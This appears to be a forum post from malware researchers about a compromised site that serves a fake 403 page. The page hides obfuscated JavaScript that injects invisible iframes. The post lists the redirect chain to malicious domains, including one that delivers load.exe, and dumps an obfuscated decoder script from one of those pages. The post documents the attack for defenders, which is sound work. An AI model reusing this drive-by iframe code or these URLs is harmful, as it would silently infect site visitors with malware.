e-lustrate.com PD displays a fake 403;
<HTML>
<HEAD>
<TITLE>403 Forbidden</TITLE>
</HEAD>
<BODY onload="status=' ';zz='2';sl='/';sf='ram';pi='9';po='.';qu=':';yh='4';tr='c.p';vo='3';bw='5';pt='tp';ab='src';dg='ht';ko='e';wd='if';ji='hp';hh='1';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo,yh,sl,tr,ji);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);">
<H1>Forbidden</H1>
You do not have permission to access this document.
<P>
<HR>
<ADDRESS>
Web Server at e-lustrate.com
</ADDRESS>
</BODY>
</HTML>
<!--
- Unfortunately, Microsoft has added a clever new
- "feature" to Internet Explorer. If the text of
- an error's message is "too small", specifically
- less than 512 bytes, Internet Explorer returns
- its own error message. You can turn that off,
- but it's pretty tricky to find switch called
- "smart error messages". That means, of course,
- that short error messages are censored by default.
- IIS always returns error messages that are long
- enough to make Internet Explorer happy. The
- workaround is pretty simple: pad the error
- message with a big comment like this to push it
- over the five hundred and twelve bytes minimum.
- Of course, that's exactly what you're reading
- right now.
-->
<script type="text/javascript">
document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u0074\u006f\u006d\u0061\u006b\u0061\u0079\u0061\u006e\u002e\u0062\u0069\u007a\u002f\u0061\u0066\u0074\u0065\u0072\u0066\u0074\u0070\u0063\u0068\u0065\u006b\u002f\u0032\u0036\u0030\u0033\u002f\u0069\u006e\u0064\u0065\u0078\u002e\u0070\u0068\u0070\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0031\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0031\u0020\u0073\u0074\u0079\u006c\u0065\u003d\u0022\u0064\u0069\u0073\u0070\u006c\u0061\u0079\u003a\u006e\u006f\u006e\u0065\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');
</script>
Re-dirs you to;
http://ruoo.info/forum/index.php
------> http://ruoo.info/forum/load.php > load.exe
http://194.145.235.34/c.php <--- Seems to be dead
http://atomakayan.biz/afterftpchek/2603/index.php
------> http://countermediagroup.com/ts/in.cgi?mymy
*****************************************************************
vURL Desktop Edition v0.3.0 Results
Source code for: http://ruoo.info/forum/index.php
Server IP: 195.93.218.31 [ build.airhouse.su ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Not Listed
Date: 15 May 2008
Time: 15:31:35:31
*****************************************************************
<html><body><script language="JavaScript">function NR6Ifqy1sjC5LG(lxquta){return String.fromCharCode(lxquta);}function d9O0JESi(aK5l2I4B4Ns){var qwjn8rCQbJQi=0,SaQtKOIFDBc=aK5l2I4B4Ns.length,hlfoEONsiR=1024,mkgvo4oJjPjd,kvzL8b,MNNUbmsUUJ9="",zpBst=qwjn8rCQbJQi,CcOvF9=qwjn8rCQbJQi,z9PIj7=qwjn8rCQbJQi,LUUjGM=Array(63,5,14,1,44,46,39,13,23,47,0,0,0,0,0,0,33,26,22,30,25,29,9,18,56,4,36,52,53,41,49,0,32,6,7,28,55,48,34,21,2,42,20,0,0,0,0,38,0,43,54,31,12,40,27,35,37,50,17,62,24,57,60,59,61,8,11,16,58,19,15,45,51,3,10);for(kvzL8b=Math.ceil(SaQtKOIFDBc/hlfoEONsiR);kvzL8b>qwjn8rCQbJQi;kvzL8b--){for(mkgvo4oJjPjd=Math.min(SaQtKOIFDBc,hlfoEONsiR);mkgvo4oJjPjd>qwjn8rCQbJQi;mkgvo4oJjPjd--,SaQtKOIFDBc--){z9PIj7|=(LUUjGM[aK5l2I4B4Ns.charCodeAt(zpBst++)-48])<<CcOvF9;if(CcOvF9){MNNUbmsUUJ9+=NR6Ifqy1sjC5LG(226^z9PIj7&255);z9PIj7>>=8;CcOvF9-=2;}else{CcOvF9=6;}}}return(MNNUbmsUUJ9);}var egL2kBCc5Bog="ICFg3AmV7ieUYXzPKBwV65YisVYVU5tV8CzVAbzhr6FJRAmhsieUNAFJril@duqJ7klez2qJ@be@RYdJeYq4a5Hh6Ve_wGmiD0F@8ilPB5lgdzn@M_A4LbY4eGpwz9Fh_zpMHXoJr6FhyXMUKXwLgXzJbXrYKkHeuVtTGod@35mgOGEhu2tTfGMMGcz5U2Fx2Cqg1AMV2ctVZXFeUBzP2ttTur7KBonMQXp5vGtb6tdYQ5qLiVYx9zwaABeLB5oTOy4xfbHJWrEhNkHTKXwLgXzJbXrYKkHeuVYxxVaMGTHTKXwLgXzJbXrYKkHeuVYx9XrK5XDYLk7wsfpePXMwUVzwv2tJetdPsQteZBpVPXoTgXFJy5MiZRwxjRwxBrwx8uwxu8wxsuwxs8wxZvwxBfwxjcwxGo4K2rwxGo4K2rwxuywxZonLBoSKBodKjonLjonLuoSKuo4L2cpb2fEL2vEK2vwK2vwL2fpL2RwK2u7K2cpL2fpb2ypL2v7L2ywK2fpK2vpK2fEK2vwxj9wxGo4K2rwxGonLGo4K2fwb2f7L2Rwb2vpL2c7K2cwxZrwxsonKfoSKWoSKso4LsodKBoSK2cwb2ypb2R7L2rwxfodKuodKAo4b28wxuawx88wxsypiDulgsYdYQ5qLiVtT92ehziSPR5egzulPfkqPZ8mJgbnMrGFJPXfMOtear67YQ5qLiVzTKXwLgXzJbXrYKkHeuVAbeAHVZrrYv0niDGlgsYnMQXp5vGtb6kpayAMVd0HVdYd@35mgOGEhu2Yx65qhsXz4hXeg55Sb6AqKokqMfczTKXwLgXzJbXrYKkHeuVAb6AqKokqMfctxvod@35mgOGEhu2txv9S_9XrK5XDYLtmTzyqJ@2zhW9qeU_o_ZAYK6Vr4uiSPz2qJ@be@R2Yhz9DguBwKWQogF6nivfwb054TCvr5_zEgD9q@zvr5_zEgr6maGoY_1Awho_nTYXzPKBwV65Yiu8wbnkz4sozJMBrNscpLr6paUXwas_AwSxpTA6p4HAYK7knTs6p6RtlJR_m4HAYK7k7LD0m6cXm@BCFJdYnaGoY_1Awho5SbcGmPszn5oBH_u07UjyHYOYY@M2e_iBpb8BYJUYmaQ2qJQBE98yl4@Q7PaXeYQ_tPAzfY6AeavQAKO5zPYAlYyYDaV2laGumJ8uwbUYHbvVaJzBq4G2fYHG7MMCYJxQmMGil@UBt4K2aJQitM8tYbPYqgNQAK@5zPaYDLUCDh4XrLx_t4AtlL6tY5j2fhGxz5IVza62Y5WRlJf9zPaXlwU5qgAvF_ezmMZuphyAeVK_qgzklVgbzhuuegjRzMdBA@PBY@WffPZXHYO5zPYAlYyYMgWcYaGypMZfALP2AhVVo5hzt@oGweyCE9WyfMrGfV55qYHiqPNQAKO5zPaVMbPGpYWctLpB74hGzKFttVGRlJf9zPaXHYOCDM12a@pB74hGzhfrtLvQAKO5zPaXe5PAY5157_ezmMZuphyCme1XawWY74sYfJxBMKMVeV2zALwkAK3QagWcYaHGFPaXHYOAHbaXHYOBr4riebuGqY4CtetBpb8gD@PVFLAyAYlBqelGwbPGMajRlJ@5zPaXqLUC7Y42aMtGre_YaeHbAMM2ahZa7e9VD@PVFLAyzL2BpM5z7huYeVNQHLhiA9jQtYO5zPL2eMZ8q4sGzauCEM4bfJ@5zPazaeOQ7PaXHwhzt4BuE@PzFM42mVZxtMsYo_RVFLM2qL3zzPaXHYOXDM4Xfhdzt4AbYexAAh8CHVLBHM8aH_qBFgNQHLhiA980za6VFgVVeV2zALR5e@WTtLjRl4z5FVWil43CEM4boL25m@lGEYyzA9j6eYOQFVzteeWcHVQBEa8REPZRqhO5zPaGAK@5zPaYDLUCDh4XrLx_t4AbYexAAhARH5ZrtPZReeO5zPaXeYQ_tPACE@xYeKZ2Mw3GFPaXHYOCo4M2HLABH@sBo_PAeavQzLakHPgieeHbAMM2ahZa7ejXeJ3AHLjRlJf9zPaXHYO2YK42l4iQp@lGEYyCwgN2Hedzz5BafLRXDhh2r_hBE@gYo_PQoejRHa7GDVgXl43Q7PaXHYO5zP8vYbUXFMNCHLQ_tPU2ra6AY@eXoLOzDPsXqwf0taZ27L3QFPaXHYO5zPtQH5ZrtP82zaP5qg8BeJZ8pMJGwb3G75f_qL7Xpb5Xl43Q7PaXHYO5zPoGweyCme4XtVdCD@GGEL6GzLARqLe5DPjQtYO5zPaGAKO5zPaYl@62AMV2HhL5F48BYJyAw@42eMtGr4hBf@3QDeaXHYizzPjyHYOCfMV2aLZ8qeGGzauCw@MXoLOQf9jyHYO5Y4MCY@i_tMjQtYO5zPZveMZap_ZrEL6zDMAyoLzGrer5eb3GwVKVrJ5XEVzXl4@Q7PaXe@f8rPaXlw6BFMGCHeezm48Bf465fhARH5WY75oBmhyGEPVXHYO5zPIYfLPbAM4QH5Wzz5wBAYxAFLAytgzXpboBmhyGpe82l4ikHPoVrhO5zPaXH5WBHboBMeH5fMVCH5ZrtPZuYJ6Cwasgo5WCmPGYlK3QDeaXHYOBoP_GE@UXFM42m5WCDejyHYOAHbLXHYOBoMWGYJR2zYG2ohL5m4oYf4yYHYWRlJf9zPaXlwU5qgAvMVazm@QbYexAAhARlKO5zPaYqwatzLv_qPtYpKobqPp2tes9YaZ0lVOYabu9fgOboegXpY5BY@1Xe5A6H@aXl9WYqYatAhv_qPtCD@LbqPpYY_s9YadzEeOYab@YlgObaV9XpY5YrKFAfPjXHYO5zPbbqPp5oes9YahAlLOYabu9fgObo4dXpY55eK1Xe51BpPaXl9zbzKatAMeQzPtBlLU5zPpCHVe5YarAlLOYaeWcHYObr@AVtY5Yrh1Xe5Avp4aXl9P5e@uQfeaXHYOBoJOYf@WcHYObo4rVtY5BY@Wye5V2pe7Xl9J5qYatAMh_qPtztKgbqPpBa_e5YarBAVOYabuyDgObaY8ypY5VzhWye51B7@7Xl9YbzYatAwv_qPtBlLRil43Q7PaXHYzGoY5BY@1Xe51Bp@aXl9x5qYattVsv7PtYEVobqPp2qYs9YatkHKOYaeuxlgObrMQXpY5BYKFXe5A6H57Xl9zVFKatY@j6qPtBlLR5zPp2oVe5YahAlLbQlJO5zPaXew7Xl9YYFKatY@G8qPtBlLy5zPp2qYs9YatkHKOYohuulgObrg9XpY55lKuye51B7g7Xl9zVFKatY@ZB7PtBlLR5zPp2oVe5YahAlLOYaeuaAgObrMQAHJNQtYO5zPL2FPtBlLIbqPp2qYs9YatkHKOYoh1GtYObfhAVtY5AqKFXe5V_qeaXl9zVFKatAws87PtBlLR5zPp2oVe5YahAlLOYaeuaAgObrMQVtY5BAMFXe5VBlwzQfPjyHYO5YVK5YatkHKOYabFYlgObrJ9XpY5BrhWye5ARt@aXl9zVFKatAhZBqPtBlLR5zPp2oVe5YahAlLOYaeuaAgObrMQVtY55e@Wye5VBlw7Xl95VFKatzgj8ww3QFPaXHYOAfgObfwAXpY5BfK1Xe5127@7Xl9zVFKatzgjRzPtBlLR5zPp2oVe5YahAlLOYaeuaAgObrMQVtY55e@1Xe51BH@aXl9YYFYatzLh27PtzAVU5zPpBoaQ2D4@5zPaXlwuXe51_lh7Xl9YYFKatY@G8qPtzALIbqPpYe_s9YahVAeOYf@WvoYObo4rVtY5BY@Wye5VBqg7Xl9YYFKatzYj8qPtCD@y5zPpYtLs9YaQzE@OYf@WvqgNQlKO5zPaYqwatY5jv7PtBlLx5zPp2HVs9YarXpKOYae1GtYObo@_XpY5ieK@Xe5A6q@7Xl9YC7KatAMQB7PtBlLR5zPp2oVe5YadAlLOYab@GlgObreeXpY55eKuffPjXHYO5zPbbqPpXfws9YaeGDLOYabFGlgObr@2XpY5BY@Wye51Bp@aXl9x5qYattVZ27PtBl@J5zPpClhs9YarXpKOYaeFGtYObaYgVtY5iqhWye5VBH@aXl9YYFhuQfeaXHYOBoJOYf@1GtYObr4rVtY5Yoguye51_eV7Xl9x5qYatAMQB7PtBlLR5zPp2HVe5YarXpKOYf@1GtYObo@dVtY5YfKuye51B7eaXl9y5qKattVsv7PtzA@Jil43Q7PaXHYzGoY55lMuye5A6q@7Xl95bzYatAMQB7PtBlLR5zPp2oVe5YahBA@OYf@1GtYObr4rVtY5iqK@Xe51Bp@aXl9yBFKatzYj6qPtCD@dbqPpttae5YadXEebQlJO5zPaXew7Xl9J5qYatAMQBqPtBleIbqPpttae5YahAlLOYf@WcHYObrg5XpY5VAK1Xe58BH@aXl9YC7KatY@G8qPtBlLobqPptAas9YahzELOYae1YAgObaY8umJNQtYO5zPL2FPtzA@J5zPpCeMs9YaLkHKOYf@1CHYObo4rVtY5BY@Wye51Bp@aXl95bzKatAMeQzPtzA@IbqPp2fhe5YaQzE@OYoh12HYObreWVtY5BFKuye5VBq4dQfPjyHYO5YVK5YadBA@OYf@FYlgObfw9VtY5BM@Wye5VBH@aXl9yBFYattVsv7PtBl@J5zPpClhs9YatQpKOYf@WutYOboPrXpY55
Topic: Infections via e-mail (Read 11150 times)
